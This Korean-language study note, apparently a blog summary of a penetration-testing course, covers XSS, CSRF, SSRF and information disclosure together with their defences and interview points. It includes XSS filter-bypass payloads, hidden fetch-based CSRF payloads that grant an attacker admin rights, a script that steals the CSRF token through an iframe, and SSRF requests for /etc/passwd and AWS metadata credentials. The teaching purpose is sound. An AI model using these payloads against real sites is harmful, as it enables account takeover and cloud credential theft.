8 분 소요

웹 보안 통합 학습 노트: XSS, CSRF, SSRF


목차

  1. XSS (Cross-Site Scripting)
  2. CSRF (Cross-Site Request Forgery)
  3. SSRF (Server-Side Request Forgery)
  4. 정보 노출 (Information Disclosure)
  5. 면접 대비 핵심 포인트

1. XSS (Cross-Site Scripting)

1.1 XSS란?

웹 애플리케이션에서 사용자 입력값을 적절히 검증하지 않아 악성 스크립트가 실행되는 취약점이다. 공격자가 삽입한 JavaScript 코드가 피해자의 브라우저에서 실행된다.

핵심: 스크립트를 상대방에게 실행시킬 수 있기만 하면 무조건 XSS다.

1.2 XSS 유형

유형 설명 특징
Reflected XSS 입력값이 즉시 응답에 반영 링크를 통해 피해자에게 전달 필요
Stored XSS 입력값이 DB에 저장 후 조회 시 실행 게시판 등에서 다수 피해 가능
DOM-based XSS 클라이언트 측 JavaScript에서 발생 서버 거치지 않고 DOM 조작

1.3 XSS로 가능한 공격

공격 설명
세션 하이재킹 document.cookie 탈취 후 세션 도용
피싱 가짜 로그인 폼으로 자격증명 탈취
키로깅 입력값 실시간 전송
암호화폐 채굴 JavaScript 기반 브라우저 채굴기
악성코드 배포 브라우저 취약점과 연계

참고: alert()는 단순히 XSS 가능 여부를 증명하는 PoC(Proof of Concept)일 뿐, 실제 공격에서는 사용하지 않는다.


1.4 XSS 공격 기법

기본 공격 구문

<!-- 기본 스크립트 태그 -->
<script>alert('XSS')</script>

<!-- 이미지 태그 + 이벤트 핸들러 -->
<img src=x onerror=alert('XSS')>

<!-- 다양한 이벤트 핸들러 -->
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<svg onload=alert('XSS')>

이벤트 핸들러 활용

<script> 태그가 필터링될 때 이벤트 핸들러를 활용한다.

이벤트 설명 자동 실행
onerror 리소스 로딩 실패 시 ✅ (src=x로 강제 에러)
onload 리소스 로딩 완료 시 ✅
onfocus 포커스 획득 시 ✅ (autofocus와 함께)
onmouseover 마우스 오버 시 ❌ (사용자 행위 필요)
onclick 클릭 시 ❌ (사용자 행위 필요)

핵심: 공격 구문은 자동 실행되어야 한다. 사용자 행위가 필요한 이벤트는 공격 성공률이 낮다.

<!-- onerror를 이용한 자동 실행 + 숨기기 -->
<img src=x onerror=alert('XSS') style="display:none">
<img src=x onerror=alert('XSS') width=0 height=0>

위치별 공격 전략

XSS 공격 시 삽입 위치에 따라 필요한 특수문자가 다르다.

위치 예시 필요한 탈출
태그 사이 <div>USER_INPUT</div> < > 필요 (태그 삽입)
속성 값 내부 <input value="USER_INPUT"> " 필요 (속성 탈출)
JavaScript 내부 var x = "USER_INPUT"; " + ; 필요

JavaScript 내부 위치 예시:

// 원본
var keyword = "사용자입력값";

// 공격: 따옴표와 세미콜론으로 탈출
var keyword = "";alert('XSS');//";

// 함수 내부 탈출 예시
document.location.href = 'page.php?id=' + '19';}alert('xss'); function test() { var test='';

1.5 필터 우회 기법

문자열 이중 삽입

필터가 특정 문자열을 한 번만 제거할 때 사용한다.

<!-- script가 필터링될 때 -->
<scrscriptipt>alert('XSS')</scrscriptipt>
<!-- 필터 후: <script>alert('XSS')</script> -->

<!-- on이 필터링될 때 -->
<img src=x oonneerror=alert('XSS')>

주의: 필터가 반복 적용되면(2~3회 이상) 이 기법은 무효화된다.

대소문자 혼용

<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert('XSS')>

인코딩 활용

<!-- URL 인코딩 -->
%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- HTML 엔티티 -->
&#60;script&#62;alert('XSS')&#60;/script&#62;

<!-- 유니코드 -->
<script>\u0061lert('XSS')</script>

태그/속성 변형

화이트리스트 기반 필터링에서 허용된 태그 찾기:

<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<video><source onerror=alert('XSS')>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>

1.6 XSS 방어 기법

입력값 검증 위치

[브라우저] → [웹서버] → [WAS] → [DB]
     ↓           ↓         ↓       ↓
  클라이언트    서버      처리    저장
위치 장점 단점
클라이언트 사용자 피드백 빠름 우회 가능 (무의미!)
서버 입력 시 저장 전 차단 다른 환경에서 데이터 깨짐 가능
서버 출력 시 원본 데이터 유지 모든 출력 지점에서 처리 필요

권장: 출력 시 인코딩 (Output Encoding)을 기본으로, 입력 시 검증을 보조로 사용

출력 인코딩 (HTML Entity)

특수문자를 HTML 엔티티로 변환:

문자 엔티티
< &lt;
> &gt;
" &quot;
' &#x27;
& &amp;
content.replaceAll("<","&lt;").replaceAll(">","&gt;").replaceAll("\"","&quot;")...

화이트리스트 vs 블랙리스트

방식 설명 적용
화이트리스트 허용할 것만 정의 에디터 등 태그 필요 시 (권장)
블랙리스트 차단할 것만 정의 우회 가능하여 비권장

화이트리스트 적용 시 주의점:

  • 태그뿐 아니라 속성도 제한 필요
  • <img> 허용 시 src 속성만 허용, onerror 등 이벤트 핸들러 차단
  • OWASP, 네이버 Lucy Filter 등 오픈소스 라이브러리 활용

HTTP Only 쿠키

Set-Cookie: session=abc123; HttpOnly

JavaScript에서 document.cookie로 접근 불가 → XSS로 쿠키 탈취 방지

CSP (Content Security Policy)

Content-Security-Policy: script-src 'self'

인라인 스크립트 실행 차단, 외부 스크립트 출처 제한


2. CSRF (Cross-Site Request Forgery)

2.1 CSRF란?

피해자가 의도하지 않은 요청을 공격자가 대신 보내게 만드는 공격. 피해자의 인증된 세션을 이용한다.

핵심: XSS와 상관없이, 상대방한테 임의로 해당 기능을 작동하도록 요청을 날렸더니 별도의 검증 없이 그냥 실행된다면 CSRF다.

2.2 CSRF 공격 시나리오

비밀번호 변경 예시:

GET /changePw?newPassword=1234 HTTP/1.1
Cookie: sessid=victim_session

공격 과정:

  1. 공격자가 비밀번호 변경 요청 구조 파악
  2. 악성 링크/이미지 태그 생성
  3. 피해자가 해당 링크 클릭 또는 페이지 방문
  4. 피해자의 세션으로 요청 전송
  5. 피해자의 비밀번호가 변경됨

2.3 CSRF 공격 기법

GET 방식 CSRF

URL에 파라미터가 포함되어 가장 간단함:

<!-- 이미지 태그 활용 (자동 요청) -->
<img src="https://target.com/api/change_role?user=attacker&role=admin" style="display:none">

POST 방식 CSRF

폼 자동 제출 필요. 하지만 단순 form submit은 페이지 이동되어 티가 남!

<!-- 기본 방식 (티가 남 - 비권장) -->
<form id="csrf_form" action="https://target.com/api/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('csrf_form').submit();</script>

은밀한 POST CSRF (실무 방식)

XMLHttpRequest + img onerror (script 태그 없이):

<img src="x" onerror="var x=new XMLHttpRequest();x.open('POST','/api/update',true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send('target_id=attacker&new_role=ADMIN');" style="display:none;">

fetch API + img onerror:

<img src="x" onerror="fetch('/api/update',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'target_id=attacker&new_role=ADMIN'});" style="display:none;">

svg onload + fetch:

<svg onload="fetch('/api/update',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'target_id=attacker&new_role=ADMIN'});" style="display:none;"></svg>

중요: 블로그에 흔히 나오는 form.submit() 방식은 페이지 이동되어 실무에서 안 씀. AJAX로 백그라운드 요청해야 은밀한 공격 가능.

CSRF Token 우회 공격

CSRF 토큰이 있어도 같은 도메인에서 XSS가 가능하면 우회 가능:

<iframe id="atkframe" src="/update_role.jsp" style="display:none;"></iframe>
<script>
window.onload = function() {
    // 1. iframe 내부에서 토큰 추출
    var token = document.getElementById("atkframe")
        .contentWindow.document
        .querySelector("input[name=csrfToken]").value;

    // 2. 추출한 토큰으로 공격 요청
    fetch("/update_role_ok.jsp", {
        method: "POST",
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: "target_id=attacker&new_role=ADMIN&csrfToken=" + token
    });
};
</script>

왜 가능한가?

  • iframe은 navigation 요청이라 서버가 토큰을 세션에 저장함
  • fetch만 사용하면 AJAX 요청이라 토큰이 세션에 저장 안 됨
  • Same-Origin이므로 iframe 내부 DOM 접근 가능
요청 방식 Sec-Fetch-Mode 토큰 세션 저장 공격 가능
iframe navigate ✅ 저장됨 성공
object navigate ✅ 저장됨 성공
fetch cors ❌ 저장 안됨 실패

2.4 CSRF 방어 기법

하나마나한 대응방안 (비권장)

방법 문제점
POST 방식 사용 JavaScript로 POST 요청 보내면 됨
XSS 막기 CSRF와 XSS는 별개 취약점! (면접 주의)

실효적인 대응방안

1. CSRF 토큰

// 토큰 생성 (폼 페이지 접속 시)
String csrfToken = UUID.randomUUID().toString();
session.setAttribute("csrf_token", csrfToken);

// 폼에 토큰 포함
<input type="hidden" name="csrf_token" value="${csrf_token}" />

// 처리 시 검증
if (!requestToken.equals(sessionToken)) {
    throw new CSRFException("토큰 불일치");
}

2. Referer/Origin 헤더 검증

String referer = request.getHeader("Referer");
if (referer == null || !referer.startsWith("https://mysite.com")) {
    throw new CSRFException("잘못된 요청 출처");
}

문제점: VPN 사용 시 Referer가 이상하게 바뀌는 경우 있음 (가용성 문제)

3. SameSite 쿠키

Set-Cookie: session=abc123; SameSite=Strict
값 설명
Strict 다른 사이트에서 요청 시 쿠키 전송 안 함
Lax GET 요청은 허용, POST 등은 차단
None 제한 없음 (HTTPS + Secure 필수)

4. 재인증 요구

중요 기능 수행 전 비밀번호/OTP 재확인:

/권한변경폼 → /관리자비번재입력 → /권한변경처리

프로세스 검증 누락 주의: 중간 단계를 건너뛰어도 처리되면 취약점!

5. CAPTCHA

자동화된 요청인지 사람인지 체크. 단, 가용성 문제 (사용자 불편).


3. SSRF (Server-Side Request Forgery)

3.1 SSRF란?

서버한테 요청을 보내게 시켜서, 외부에서 접근 불가능한 내부망 리소스에 접근하는 공격.

공격자 → 웹서버 → 내부 DB 서버
         ↑
    "이 URL 가져와줘"
    (내부 IP 전달)

핵심: CSRF는 “관리자한테 시키는 것”, SSRF는 “서버한테 시키는 것”

3.2 SSRF 공격 조건

SSRF가 가능하려면 URL을 파라미터로 받는 기능이 있어야 함:

  • 번역 사이트 (URL 입력하면 번역)
  • 웹 아카이브 (URL 저장)
  • 이미지 뷰어 (URL로 이미지 로드)
  • PDF 생성기 (URL 내용을 PDF로)

SSRF 취약 여부 확인법:

  1. URL 파라미터에 외부 주소 입력
  2. Burp Suite로 요청 확인
  3. 내가 입력한 URL로 나가는 요청이 잡히면 안 됨 (서버가 요청해야 함)
  4. 응답에 해당 URL 내용이 있으면 SSRF 가능

3.3 SSRF 공격 기법

기본 공격

# 정상 요청
GET /translate?url=https://yahoo.co.jp

# SSRF 공격 (내부망 접근)
GET /translate?url=http://192.168.0.20/admin
GET /translate?url=http://localhost/admin
GET /translate?url=file:///etc/passwd

AWS 메타데이터 공격 (최근 급증!)

AWS EC2에서는 메타데이터 서버 IP가 고정되어 있음:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

이 공격으로 IAM 자격증명(Access Key, Secret Key) 탈취 가능 → EC2 점령

왜 SSRF가 최근 뜨는가? 예전에는 내부 IP를 몰라서 공격이 어려웠는데, AWS 메타데이터 IP(169.254.169.254)가 고정이라 공격이 쉬워짐

필터 우회 기법

기법 예시
URL 단축 https://tinyurl.com/xyz → 내부 IP로 리다이렉트
302 리다이렉트 공격자 서버에서 내부 IP로 리다이렉트
IP 변환 127.0.0.1 → 0x7f000001 (16진수)
localhost 변형 localhost, 127.1, 0

3.4 SSRF 방어 기법

근본적 대응

  • URL을 파라미터로 받지 않음 (기능 자체 제거)
  • 불가피하면 화이트리스트 방식으로 허용 도메인만 지정

블랙리스트 (비권장)

# 우회 가능하여 비권장
blocked = ['localhost', '127.0.0.1', '192.168.', '10.', '169.254.']

인프라 대응

  • 내부 서비스에서 외부로 나가는 요청 제한
  • 메타데이터 서버 접근 차단 (AWS IMDSv2 사용)

4. 정보 노출 (Information Disclosure)

4.1 정보 노출이란?

개발자가 실수로 남겨둔 정보가 공격의 재료가 되는 것.

4.2 정보 노출 유형

소스코드 내 정보

<!-- 주석에 민감 정보 -->
<!-- DB 접속: admin / password123 -->

<!-- 숨긴 기능 (주석 처리) -->
<!-- <a href="/admin/secret.php">관리자</a> -->

JavaScript 파일

// API 엔드포인트, 내부 URL 노출
const API_URL = "http://192.168.0.10/internal/api";

HTTP 헤더

Server: Apache/2.4.49
X-Powered-By: PHP/7.4.3

→ 버전 정보로 알려진 취약점 검색 가능

에러 메시지

Error: SQLSTATE[HY000]: Connection failed: Access denied for user 'webapp'@'localhost'

→ DB 사용자명, 서버 경로 등 노출

4.3 OSINT (Open Source Intelligence)

외부 공개 정보 수집:

  • Google Dorking
  • GitHub 검색 (API 키, 비밀번호 노출)
  • SNS 프로필
  • Shodan (서버 정보)

5. 면접 대비 핵심 포인트

5.1 XSS vs CSRF 차이점 면접 단골

잘못된 설명 (흔한 오해)

“XSS는 클라이언트 공격, CSRF는 서버 공격” “CSRF 막으려면 XSS를 막아야 한다”

대다수의 블로그, 교육에서 이렇게 설명하는데 틀린 설명이다!

올바른 설명

구분 XSS CSRF
공격 방식 악성 스크립트 실행 위조된 요청 전송
취약한 기능 입력/출력 처리 (게시판 등) 인증된 기능 자체 (비밀번호 변경 등)
필요 조건 스크립트 삽입 가능 인증된 세션 + 예측 가능한 요청
대응 위치 입출력 검증 해당 기능 자체 (토큰, 재인증 등)

핵심 차이:

  • XSS: 게시판 등 스크립트 삽입 가능 지점이 취약
  • CSRF: 비밀번호 변경, 권한 변경 등 기능 자체가 취약
  • CSRF 공격에 XSS가 필요한 것은 아님! (링크, 이메일로도 가능)

5.2 XSS vs CSRF vs SSRF 구분

취약점 누구한테 시키나? 무엇을 하나?
XSS 피해자 브라우저 악성 스크립트 실행
CSRF 피해자 (관리자) 의도하지 않은 기능 실행
SSRF 서버 내부망 리소스 접근

간단 판별법:

  • 스크립트 실행 가능? → XSS
  • 기능이 검증 없이 실행? → CSRF
  • 서버가 내부 URL로 요청? → SSRF

5.3 CSRF 대응방안 관련 오해

하나마나한 대응방안

방법 왜 안 되는가?
POST 방식으로 변경 JavaScript로 POST 요청 보내면 됨
XSS 막기 CSRF는 XSS 없이도 가능

실효적인 대응방안

  1. CSRF 토큰 (가장 일반적)
  2. SameSite 쿠키
  3. 재인증 (중요 기능에만 - 가용성 고려)
  4. CAPTCHA (가용성 고려)
  5. Referer 검증 (VPN 등 환경에서 문제 가능)

5.4 실무에서 안 쓰는 것들

블로그에 흔히 나오지만 실무에서 안 쓰는 방식

방식 문제점
form.submit() CSRF 페이지 이동되어 티가 남
iframe만으로 CSRF X-Frame-Options로 막히는 경우 많음
단순 블랙리스트 필터링 우회 가능
클라이언트 측 검증만 Burp로 우회 가능

실무에서 쓰는 방식

방식 이유
AJAX 백그라운드 요청 페이지 이동 없이 은밀하게
XMLHttpRequest / fetch script 태그 필터링 시 이벤트 핸들러로 대체
화이트리스트 필터링 우회 어려움
서버 측 검증 클라이언트 우회 불가

5.5 보안 3요소 관점

요소 설명 관련 취약점
기밀성 정보 노출 방지 XSS (쿠키 탈취), SSRF (내부 정보), 정보 노출
무결성 데이터 변조 방지 CSRF (권한 변경), XSS (DOM 조작)
가용성 서비스 지속 CAPTCHA 남용 시 사용자 불편

5.6 취약점별 테스트 키워드

취약점 테스트 시 확인할 것
XSS 입력값이 응답에 그대로 노출되는가? 특수문자 치환되는가?
CSRF 토큰 검증 있는가? Referer 검증 있는가? 재인증 있는가?
SSRF URL 파라미터 있는가? 내가 요청한 URL이 Burp에 안 잡히는가?

참고 자료

  • XSS 치트시트: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
  • OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • OWASP CSRF Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

이 문서는 SK Shieldus Rookies 28기 모의해킹 과정 (2026.02.03 ~ 02.04) 강의 내용을 정리한 학습 자료입니다.

댓글 남기기